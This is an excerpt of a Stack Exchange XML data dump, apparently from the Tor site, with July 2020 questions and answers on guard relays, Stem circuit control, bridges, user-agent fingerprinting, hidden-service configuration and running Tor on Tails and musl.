LastEditorUserId="28784" LastEditDate="2020-07-14T01:21:45.710" LastActivityDate="2020-07-14T01:21:45.710" Title="Automated script for selecting fast TOR circuit?" Tags="|tor-browser-bundle|circuit|bandwidth|speed|startup|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21417" PostTypeId="1" CreationDate="2020-07-15T02:04:00.607" Score="0" ViewCount="712" Body="&lt;p&gt;When I open onion circuits on tails the first column all have the same name, fingerprint, ip, is that normal?&lt;/p&gt;&#xA;" OwnerUserId="30594" LastActivityDate="2021-12-07T05:06:55.703" Title="Onion circuits on tails" Tags="|tails|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21418" PostTypeId="2" ParentId="21417" CreationDate="2020-07-15T02:17:58.760" Score="1" Body="&lt;p&gt;Yes, this is called your &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/community/glossary&quot; rel=&quot;nofollow noreferrer&quot;&gt;Guard&lt;/a&gt; relay. With regular Tor, you can expect this relay to stay the same for a few months, but since Tails doesn't keep persistent state, I believe this should change every time you reboot the computer.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-07-15T02:17:58.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21419" PostTypeId="1" CreationDate="2020-07-15T12:35:30.597" Score="1" ViewCount="753" Body="&lt;p&gt;I have configured a TOR hidden service using the default setup, meaning that requests come from 127.0.0.1. Is there a way to set up a different subnet to divide TOR connections from localhost ones?&lt;/p&gt;&#xA;&lt;p&gt;Actual TOR configuration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 80 127.0.0.1:8081&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Example of actual NginX access log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1 - - [15/Jul/2020:14:28:26 +0200] &amp;quot;GET / HTTP/2.0&amp;quot; 200 2524 &amp;quot;-&amp;quot; &amp;quot;curl/7.71.1&amp;quot;&#xA;127.0.0.1 - - [15/Jul/2020:14:27:37 +0200] &amp;quot;GET / HTTP/1.1&amp;quot; 200 17234 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Example of wanted NginX access log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1 - - [15/Jul/2020:14:28:26 +0200] &amp;quot;GET / HTTP/2.0&amp;quot; 200 2524 &amp;quot;-&amp;quot; &amp;quot;curl/7.71.1&amp;quot;&#xA;127.0.1.1 - - [15/Jul/2020:14:27:37 +0200] &amp;quot;GET / HTTP/1.1&amp;quot; 200 17234 &amp;quot;-&amp;quot; &amp;quot;Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using linux and the latest tor&lt;/p&gt;&#xA;" OwnerUserId="30595" LastActivityDate="2020-07-15T12:35:30.597" Title="Change IP address used by TOR connections" Tags="|network-configuration|ip-address|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21423" PostTypeId="1" CreationDate="2020-07-16T21:19:37.140" Score="0" ViewCount="199" Body="&lt;p&gt;Recently I'm not able to connect anymore to Tor and other vpns through my provider who blocks access to them. I reinstalled Tor, got bridges from the email, but it still doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;The log says :&lt;/p&gt;&#xA;&lt;p&gt;[WARN] Proxy Client: unable to connect to ... (&amp;quot;general SOCKS server failure&amp;quot;)&lt;/p&gt;&#xA;&lt;p&gt;[NOTICE] Delaying directory fetches: No running bridges&lt;/p&gt;&#xA;&lt;p&gt;I haven't set any SOCKS proxies, it could be that my provider does.&lt;/p&gt;&#xA;" OwnerUserId="30606" LastActivityDate="2020-07-16T21:19:37.140" Title="Problem connecting, socks failure" Tags="|socks|censorship|connection|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21424" PostTypeId="1" CreationDate="2020-07-17T03:13:39.707" Score="1" ViewCount="85" Body="&lt;p&gt;I was doing some experiments for a project on a Tor test network. I used Chutney to set up a small network and Stem to control one of the client nodes in the network. Because I made some changes on a relay node, I wanted to set up a circuit containing that node and run some quick experiments. My changes made the relay node run much slower, so I also need to change some default timeout settings.&lt;/p&gt;&#xA;&lt;p&gt;I used the following code to set up a new circuit:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;circuit_id = controller.new_circuit(path=[&amp;quot;test009r&amp;quot;, &amp;quot;test008r&amp;quot;], purpose='general', await_build=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The new circuit contains two relay nodes. I made some changes on the &lt;code&gt;test009r&lt;/code&gt; node.&#xA;Circuit building failed at runtime because:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Circuit failed to be created: CHANNEL_CLOSED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I believe it was because of some timeout, so I configured the client node:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;controller.set_conf(&amp;quot;MaxCircuitDirtiness&amp;quot;, &amp;quot;60000&amp;quot;)&#xA;controller.set_conf(&amp;quot;LearnCircuitBuildTimeout&amp;quot;, &amp;quot;0&amp;quot;)&#xA;controller.set_conf(&amp;quot;CircuitBuildTimeout&amp;quot;, &amp;quot;60000&amp;quot;)&#xA;controller.set_conf(&amp;quot;CircuitStreamTimeout&amp;quot;, &amp;quot;60000&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried to set large timeout windows, but it seemed like Tor just ignored them, because I still got the same error.&#xA;I also tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;controller.signal(stem.Signal.HUP)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after &lt;code&gt;set_conf&lt;/code&gt; to &amp;quot;refresh&amp;quot; the configuration of the client node.&#xA;When running &lt;code&gt;controller.get_conf_map&lt;/code&gt;, I was able to confirm that those configurations did change.&#xA;This part of the info.log might be relevant:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Jul 16 22:29:55.295 [info] circuit_build_times_set_timeout(): Set buildtimeout to low value 485.535223ms. Setting to 1500ms&#xA;Jul 16 22:29:55.417 [info] circuit_build_times_set_timeout(): Based on 164 circuit times, it looks like we don't need to wait so long for circuits to finish. We will now assume a circuit is too slow to use after waiting 2 seconds.&#xA;Jul 16 22:29:55.428 [info] circuit_build_times_set_timeout(): Circuit timeout data: 1500.000000ms, 60000.000000ms, Xm: 75, a: 0.861692, r: 0.170732&#xA;Jul 16 22:29:55.522 [info] circuit_build_times_filter_timeouts(): We had 28 timeouts out of 164 build times, and filtered 0 above the max of 60000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I am not sure how to parse them. For example, from Tor's documentation, 60000 should be in seconds, but not ms?&lt;/p&gt;&#xA;" OwnerUserId="30553" LastActivityDate="2020-07-17T03:13:39.707" Title="Tor client node ignores `set_config` from Stem" Tags="|configuration|client|stem|settings|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21426" PostTypeId="2" ParentId="21041" CreationDate="2020-07-17T23:07:13.917" Score="1" Body="&lt;p&gt;Simply add another hidden service directory in the torrc.conf file &amp;amp; restart your Tor service with &lt;code&gt;sudo service tor restart&lt;/code&gt;.&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;Medium has a great tutorial on setting up a hidden service on Tor:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://medium.com/@ajphillips/how-to-create-your-own-tor-hidden-service-436bece8602f&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://medium.com/@ajphillips/how-to-create-your-own-tor-hidden-service-436bece8602f&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29920" LastActivityDate="2020-07-17T23:07:13.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21427" PostTypeId="1" CreationDate="2020-07-19T02:22:31.007" Score="0" ViewCount="611" Body="&lt;p&gt;I am trying to run a software in Tails that needs to have gcc 9.3.0 installed to launch.&lt;/p&gt;&#xA;&lt;p&gt;If I do gcc --version I see that the currently installed version is 8.3.0.&lt;/p&gt;&#xA;&lt;p&gt;How can I install 9.3.0? I'm sure this is easy, but I'm not the best with linux. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30382" LastActivityDate="2021-12-19T06:01:30.130" Title="How to install a newer GCC version (gcc 9.3.0) in Tails?" Tags="|tails|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21430" PostTypeId="1" AcceptedAnswerId="21433" CreationDate="2020-07-21T16:51:07.590" Score="0" ViewCount="409" Body="&lt;p&gt;I didn't go through the source code of Tor yet but as far as I know the executable doesn't work on Musl out of the box. The executable basically does nothing when I open it.&#xA;I did see that Tor itself was written in C and objective C for the biggest part so it's most likely going to be heavily dependent on Glibc.&#xA;If anybody knows if porting Tor to Musl libc is a &amp;quot;possible goal&amp;quot; to accomplish, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="30628" LastActivityDate="2020-07-23T08:56:44.117" Title="Would it be possible to port Tor to Musl libc?" Tags="|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21431" PostTypeId="1" CreationDate="2020-07-22T10:59:22.070" Score="0" ViewCount="108" Body="&lt;p&gt;I want to use Tor as a proxy. Or more specifically reroute my Internet traffic from for example my browser over Tor to change my location.&lt;/p&gt;&#xA;&lt;p&gt;I found out you can set entry and exit nodes by country if you enter &lt;code&gt;ExitNodes {us} StrictNodes 1&lt;/code&gt; into your &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;I did search on google, but found nothing of use to me.&#xA;Also, it doesn't matter if Tor runs on another Computer, I just want to reroute traffic.&lt;/p&gt;&#xA;" OwnerUserId="30634" LastActivityDate="2022-02-13T15:02:15.153" Title="Use Tor as Proxy for Internet" Tags="|relays|exit-relays|proxy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21433" PostTypeId="2" ParentId="21430" CreationDate="2020-07-23T08:56:44.117" Score="1" Body="&lt;p&gt;It should be possible for sure, moreover - it's been ported already.&#xA;Alpine Linux has a port/package of Tor and is built around musl libc and busybox.&#xA;ProofLink: &lt;a href=&quot;https://build.alpinelinux.org/buildlogs/build-edge-x86_64/community/tor/tor-0.4.3.6-r0.log&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://build.alpinelinux.org/buildlogs/build-edge-x86_64/community/tor/tor-0.4.3.6-r0.log&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30639" LastActivityDate="2020-07-23T08:56:44.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21434" PostTypeId="1" CreationDate="2020-07-23T19:25:10.873" Score="0" ViewCount="809" Body="&lt;p&gt;Using Tor Browser Bundle, I noticed the latest versions I have (9x) did not show user agent in the general.userAgent.override entry in about:config. The browser was downloaded from the Tor Project and passed its GPG signature check.&lt;/p&gt;&#xA;&lt;p&gt;User agent checkers shown on Wikipedia, and some I have found in online searching, continue to show the usual Windows 10 OS result when the browser is pointed at their webpage with java enabled.&lt;/p&gt;&#xA;&lt;p&gt;However, Chrome downloads correctly shows a Linux OS when java is enabled (which as far as I know is required for user agent detection), but shows Windows 10 by default. This suggests Chrome's website scripts are able to bypass Tor's supposed user agent spoofing with ease.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.co.uk/chrome/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.google.co.uk/chrome/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Running Firefox with User Agent Switcher installed confirms this. UAS is able to fool the Chrome download page with java enabled, offering Windows 10 when Windows 10 is set as user agent, and 64bit .deb when Debian is set instead. Setting Android provides a link to the Play Store.&lt;/p&gt;&#xA;&lt;p&gt;Inspecting about:config I noticed that general.useragent.override entry is no longer included. I forced it by adding it manually to the default profile user.js, and set one of the strings from UAS. This of course still fails. As I have asked after on superuser, simply setting this about:config entry does not actually change the detected UA for Firefox. I assume UAS alters the user agent packets outbound from Firefox, and wonder how this can be achieved using an about:config entry.&lt;/p&gt;&#xA;&lt;p&gt;Either way, Tor Browser Bundle 9x does not fool any sites with regard to UA. While TCP/IP stack sniffing can be used to resolve OS, user agent detection is a well-established website methodology.&lt;/p&gt;&#xA;&lt;p&gt;Past encounters with the browser included YouTube as default search engine (5x or so), and the irritating habit shared by Firefox to lesser effect of writing to dconf in /run which would mess up the GUI and bloat file browsers all the time (now blocked in Firejailing).&lt;/p&gt;&#xA;&lt;p&gt;The version tested here is 9.02.&lt;/p&gt;&#xA;&lt;p&gt;How can Tor Browser Bundle be failing at so basic a task as user agent obfuscation?&lt;/p&gt;&#xA;" OwnerUserId="30641" LastEditorUserId="30641" LastEditDate="2020-07-28T17:29:11.183" LastActivityDate="2021-12-20T22:06:05.593" Title="Tor Browser Bundle failing userAgent spoofing" Tags="|tor-browser-bundle|security|fingerprinting|spoofing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21435" PostTypeId="2" ParentId="21310" CreationDate="2020-07-23T19:38:05.007" Score="0" Body="&lt;p&gt;Possibly three reasons.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As suggested, access beyond the clearnet where Facebook is blocked;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One point may also be script usage. You commented that users can access Facebook through Tor, but one of the drawbacks of Tor Browser is its performance with scripted web services, particularly webmail and the like, rendering many websites and web services unusable - there are many examples. This has an impact on Tor's value as a speech vehicle, depending on where you want to speak: signing up for the average forum involves getting an email address, opening a forum account, responding to confirmation email, and then posting, on the clearnet widely involving the use of javascripts and requiring java to be enabled in Tor. I personally avoid this experience, and the pain of sitting through crosswalks and bicycles over and over again and watching websites fail. By this point, much of the value of pseudonymous access seems lost. Accessing the service as an onion service might avoid this - though script enablement is a typical channel for deobfuscation attacks;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Providing a service as an onion address allows Tor to be used to access it without exit nodes at all.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30641" LastActivityDate="2020-07-23T19:38:05.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21436" PostTypeId="2" ParentId="20917" CreationDate="2020-07-23T20:05:31.493" Score="0" Body="&lt;p&gt;Bridges are both published, available at the tor project website, and numbering only a handful, and unpublished where handed out to individuals at request (or where individuals have set up their own bridges - don't take my advice on this).&lt;/p&gt;&#xA;&lt;p&gt;As far as I know and have seen, bridges can be blocked on networks. I have seen tor vanilla fail, provided public bridges for obfs and seen this fail. Meek, which operates as a browser helper as far as I know, may work here, but I have also seen this fail, and have seen Tor Browser Bundle succeed where tor fails. Unpublished bridges may be another matter by all means. In all these cases, all using public wifi, it is assumed Tor is blocked, but later access may contradict this and it is unconfirmed.&lt;/p&gt;&#xA;&lt;p&gt;I found TAILS unhelpful and problematic. The versions I used also required the user to enter bridges (from another device) and lacked built in bridges.&lt;/p&gt;&#xA;" OwnerUserId="30641" LastActivityDate="2020-07-23T20:05:31.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21442" PostTypeId="2" ParentId="19999" CreationDate="2020-07-26T18:05:47.073" Score="0" Body="&lt;p&gt;You may be interested in reading &lt;a href=&quot;https://wiki.gentoo.org/wiki/Tor#Rules_for_Tor_circuits&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. Avoiding certain Tor nodes is basically useless.&lt;/p&gt;&#xA;" OwnerUserId="30628" LastActivityDate="2020-07-26T18:05:47.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21443" PostTypeId="1" AcceptedAnswerId="21447" CreationDate="2020-07-26T18:11:54.013" Score="0" ViewCount="476" Body="&lt;p&gt;I'm trying to avoid as much apps with a GUI on my PC as possible and the only one that I have a hard time finding a substitute for is Tor. Would using &lt;a href=&quot;http://links.twibright.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Links&lt;/a&gt; (My favorite browser) with JavaScript disabled and routing all my internet traffic through Tor make me identifiable?&lt;/p&gt;&#xA;" OwnerUserId="30628" LastActivityDate="2020-07-30T20:02:45.410" Title="Terminal Browser + Tor?" Tags="|tor-browser-bundle|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21444" PostTypeId="2" ParentId="21434" CreationDate="2020-07-26T18:15:57.580" Score="0" Body="&lt;p&gt;You don't need to change your user agent string on Tor as it's basically useless. Just leaving JavaScript on will give the website the power to detect the size of your scrollbar which got a size that is unique to every operating system.&lt;/p&gt;&#xA;&lt;p&gt;Just turn off JavaScript altogether if you're paranoid about your user agent string.&lt;/p&gt;&#xA;" OwnerUserId="30628" LastActivityDate="2020-07-26T18:15:57.580" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21445" PostTypeId="2" ParentId="21427" CreationDate="2020-07-26T18:25:22.777" Score="0" Body="&lt;p&gt;Why would you need a newer version of GCC on Tails in the first place?&lt;/p&gt;&#xA;&lt;p&gt;You want to be familiar with Debian's package manager, aptitude, because Tails is based on Debian.&lt;/p&gt;&#xA;&lt;p&gt;Remember that you'll most likely end up doing this every time again because Tails will be back to default the next time you boot (considering that you don't use persistent storage).&lt;/p&gt;&#xA;&lt;p&gt;If we look at &lt;a href=&quot;https://packages.debian.org/jessie/gcc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debian's website&lt;/a&gt; we see that they didn't provide a binary yet for Debian 9.3.0. This is because Aptitude's packages are extremely stable and usually a little outdated.&lt;/p&gt;&#xA;&lt;p&gt;So instead we want to go to the official site, download the GCC tarball that we would like (.tar.gz), unpack the tarball with the command &lt;code&gt;tar xvf &amp;lt;file&amp;gt;.tar.gz&lt;/code&gt; and read the &lt;code&gt;README.md&lt;/code&gt; file (or something similar) with an explanation on how to build this package.&lt;/p&gt;&#xA;&lt;p&gt;Because this build can take a pretty long amount of time I highly recommend you to do this on a persistent operating system instead of Tails.&lt;/p&gt;&#xA;" OwnerUserId="30628" LastActivityDate="2020-07-26T18:25:22.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21447" PostTypeId="2" ParentId="21443" CreationDate="2020-07-27T06:36:47.540" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EvXi9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EvXi9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;Using links, lynx, w3m or even curl or wget with Torsocks will show you as being different than a normal Tor user but they will not leak your IP. Torsocks is pretty good about that. I think you would be safer with one of those because you would not worry about things like rogue javascript or your browser giving away too much of your information but you would be more easily fingerprintable.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2020-07-30T20:02:45.410" LastActivityDate="2020-07-30T20:02:45.410" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21449" PostTypeId="1" CreationDate="2020-07-27T20:20:14.760" Score="0" ViewCount="466" Body="&lt;p&gt;I am trying to use two circuits in parallel with stem. In tor browser, two different websites use two different circuits. I am trying to get similar functionality in my python code. Here is what I am doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def scan(*args,**kwargs):&#xA;    controller = kwargs['controller']&#xA;    dest = kwargs['dest']&#xA;&#xA;    circuit_id = controller.new_circuit(await_build = True)&#xA;&#xA;    def attach_stream(stream):&#xA;        print(str(dest) + ' ' + str(stream.circ_id))&#xA;        if stream.status == 'NEW':&#xA;            controller.attach_stream(stream.id, circuit_id)&#xA;    controller.add_event_listener(attach_stream, EventType.STREAM)&#xA;    controller.set_conf('__LeaveStreamsUnattached', '1')  # leave stream management to us&#xA;&#xA;    proxy = 'socks5://127.0.0.1:9050'&#xA;    options = Options()&#xA;    options.add_argument('--proxy-server=%s' % proxy)&#xA;    driver = webdriver.Chrome(executable_path='./chromedriver',options=options)&#xA;    driver.get(dest)&#xA;    controller.remove_event_listener(attach_stream)&#xA;&#xA;controller = connect_port(port=9051)&#xA;&#xA;try:&#xA;    kw1 = {&amp;quot;controller&amp;quot;: controller, &amp;quot;dest&amp;quot;:&amp;quot;https://api.ipify.org&amp;quot;}&#xA;    kw2 = {&amp;quot;controller&amp;quot;: controller, &amp;quot;dest&amp;quot;:&amp;quot;https://icanhazip.com/ip&amp;quot;}&#xA;    executor = ThreadPoolExecutor(max_workers=2)&#xA;    executor.submit(scan, **kw1)&#xA;    executor.submit(scan,**kw2)&#xA;finally:&#xA;     controller.reset_conf('__LeaveStreamsUnattached')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Basically launching two threads, each creates a circuit, hooking event listener, launching chrome and getting IP.&#xA;Now the problem is that both instances of chrome, accessing two separate APIs have the same IP.&#xA;The print statement in attach_stream prints output like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://api.ipify.org None&#xA;https://icanhazip.com/ip None&#xA;https://api.ipify.org 58&#xA;https://icanhazip.com/ip 58&#xA;https://api.ipify.org 59&#xA;https://icanhazip.com/ip 59&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Basically both threads end up hooking same streams to both destinations, even though I want them to attach to different destinations. I Tried adding these two lines to attach_stream, in hopes of getting it to work but to no avail.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;stream.circ_id = circuit_id&#xA;stream.target_address = dest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I believe this isnt impossible as tor browser itself is doing something similar, i.e. using different circuits for different websites, but I cannot figure out how to achieve this. TIA.&lt;/p&gt;&#xA;" OwnerUserId="30668" LastEditorUserId="30668" LastEditDate="2020-07-28T08:38:29.790" LastActivityDate="2021-12-20T17:05:10.520" Title="Using stem with multithreading Python" Tags="|python|stem|stream-isolation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21451" PostTypeId="2" ParentId="21449" CreationDate="2020-07-28T13:31:14.343" Score="0" Body="&lt;p&gt;You definitely don't need two tor instances here. And two controllers wouldn't solve the problem of the event handlers acting on both streams. Instead you may want to add the event handler only once outside of a thread (outside of &lt;code&gt;scan()&lt;/code&gt;), and instead &lt;a href=&quot;https://docs.python.org/3/library/queue.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;use a &lt;code&gt;queue&lt;/code&gt;&lt;/a&gt;. Each thread can create a circuit and add the circuit ID to the queue, and then the event handler pops one circuit ID off the queue and assigns the stream to that circuit. A possible problem with this approach (depending on your requirements) is that the new stream will use one of any of the circuits built, not specifically the one made in that same thread.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-07-28T13:31:14.343" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21452" PostTypeId="2" ParentId="15108" CreationDate="2020-07-28T17:21:49.053" Score="2" Body="&lt;p&gt;Amazon, Cloudflare and Google usually aren't a fan of Tor network. Google blocks connections from Tor (sometimes shows a captcha and let it go), Cloudflare keep asking to complete captcha and Amazon as you seen on your Tor browser cancels your order. They detect 3 layer of IPs which is suspicious to them so you can try reaching maximum privacy so they detect only Exit node's IP and there you go or not using Tor for these websites by bypassing them in your Tor Browser proxy settings&lt;/p&gt;&#xA;&lt;p&gt;Note that 1) Tor is fine the problem is with Amazon 2) If you need help with reaching maximum privacy follow instructions at torproject.org 3) Tor Browser is basically Firefox so proxy settings is same as Firefox you can find out how to do it all over the Internet&lt;/p&gt;&#xA;" OwnerUserId="18728" LastActivityDate="2020-07-28T17:21:49.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21454" PostTypeId="1" CreationDate="2020-07-28T19:11:06.173" Score="0" ViewCount="359" Body="&lt;p&gt;everyone.&lt;/p&gt;&#xA;&lt;p&gt;I'm just learning how to use tor, I'm solving my doubts by searching for information on the internet. I love looking for information, but I can't find much about it.&#xA;The only two ways I've managed to change the guard node is by uninstalling the service from my Debian machine and reinstalling it (replacing my Keys and Hostname to keep the domain) or without being so drastic I discovered that by stopping the service, deleting the &amp;quot;state&amp;quot; file and the ones that put &amp;quot;cached&amp;quot; in the same directory /var/lib/tor, when starting the service again it selects a different guard node. Then I said to myself... fuck! it's the &amp;quot;state&amp;quot; file where some &amp;quot;stories&amp;quot; of connections and values appear that I have no idea what they mean but at the end of the file a list appears with a lot of values that I don't understand but... a value appears that puts &amp;quot;nickname&amp;quot; and corresponds with nickname that appears in the &amp;quot;relay search&amp;quot; page of Tor once my connection with a netstat has been bought to see the IP of the node that was assigned to me... mmm interesting. Once I examined more deeply I understood all the values that were reflected, which are those that identify each node within the list created.&#xA;I deleted the file 3 or 4 times until I got one that I thought was more secure, with an updated version and that was seen for the first time at least 1 year ago, I also preferred that it was a node without family this is my intuition but I do not know if it is really better or worse. I feel more confident with a solitary node (am I wrong?).&lt;/p&gt;&#xA;&lt;p&gt;My question is directly like this:&#xA;Can I edit the &amp;quot;state&amp;quot; file to put in the nodes I want?And how do I select which of the nodes in the list for the connection as the guard.&#xA;And what should I do with the part that says &amp;quot;CircuitBuildTimeBin&amp;quot; and the numerical values that follow? My intuition tells me that nothing that is self-generated by TOR&lt;/p&gt;&#xA;&lt;p&gt;And regarding the UseEntryGuards key, looking for information there are those who say that putting it in 1 is safer and there are those who say that putting it in 0 is safer. What is better?&lt;/p&gt;&#xA;&lt;p&gt;The truth is that you can hardly find information about a node change on a hidden service. It's as if it doesn't matter and it's only important to configure the nodes in the browser. But if you are assigned a node with a very old version or a node that takes 15 days since it was first seen, it is not to be trusted very much. I checked with a netstat that the node was assigned to me several times on a trial basis, checking the ip of the saved node on Tor's &amp;quot;relay search&amp;quot; page, and several times the node assigned to me came up with a warning flag that it was untrustworthy.&#xA;In Tails I can change the service's guard node by editing the torrc file in /etc/tor , so I've noticed it works differently since it also changes the browser node. But in Debian this doesn't work. If I put the EntryNode key in /etc/tor torrc file in Debian the service does not run, it gives an error. EntryNode only applies to the browser configuration as far as I have observed.&lt;/p&gt;&#xA;&lt;p&gt;And another question I have, in the hidden service I can select the intermediate node to be used for client connections to my hidden service. Or that is predetermined by the client?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&lt;p&gt;Translated with &lt;a href=&quot;http://www.DeepL.com/Translator&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.DeepL.com/Translator&lt;/a&gt; (free version)&lt;/p&gt;&#xA;" OwnerUserId="30648" LastActivityDate="2021-12-21T19:04:25.383" Title="should i select the guard node in my hidden service?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21456" PostTypeId="2" ParentId="21454" CreationDate="2020-07-29T13:31:43.987" Score="0" Body="&lt;p&gt;As far as I could see in the list of nodes inside the &amp;quot;state&amp;quot; file the comment &amp;quot;confirmed_idx=0&amp;quot; would be the guard, the confirmed_idx=1 would be the substitute if the previous one fails, and so up to 3 or 4 nodes appear with that comment.&#xA;I'm doing some testing, since other values such as &amp;quot;confirmed_on&amp;quot; come out with a date, and if you look for the node on the Tor page it doesn't match either the update date or the first time it was seen. If you don't put &amp;quot;confirmed_on&amp;quot; Tor puts it for you, the funny thing is the date it puts 1970-01-01T00:00:0 (I'm still a few years away from being born XD).&lt;/p&gt;&#xA;&lt;p&gt;Well, I answer myself in case someone reads it and might be interested.&lt;/p&gt;&#xA;&lt;p&gt;I have also been monitoring the connections to the UseEntryGuards 0 value, since the information I found about this is not much. Connections are made to various nodes and they change, well some of these nodes are very old versions and some have only been in use for days. This seems more risky than having the same Guard node all the time. Being able to choose the Guard node, a node that has been running for years and with the latest version of Tor running, I think it is safer. We can change it ourselves for another one of the same characteristics that offers us more confidence and establish the change when we want. I see it as more reliable than a random connection with several nodes simultaneously, so as long as one is a dangerous node, they are all dangerous.&lt;/p&gt;&#xA;&lt;p&gt;Thanks to all of you, and especially to myself for answering to myself.&lt;/p&gt;&#xA;&lt;p&gt;Translated with &lt;a href=&quot;http://www.DeepL.com/Translator&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.DeepL.com/Translator&lt;/a&gt; (free version)&lt;/p&gt;&#xA;" OwnerUserId="30648" LastActivityDate="2020-07-29T13:31:43.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
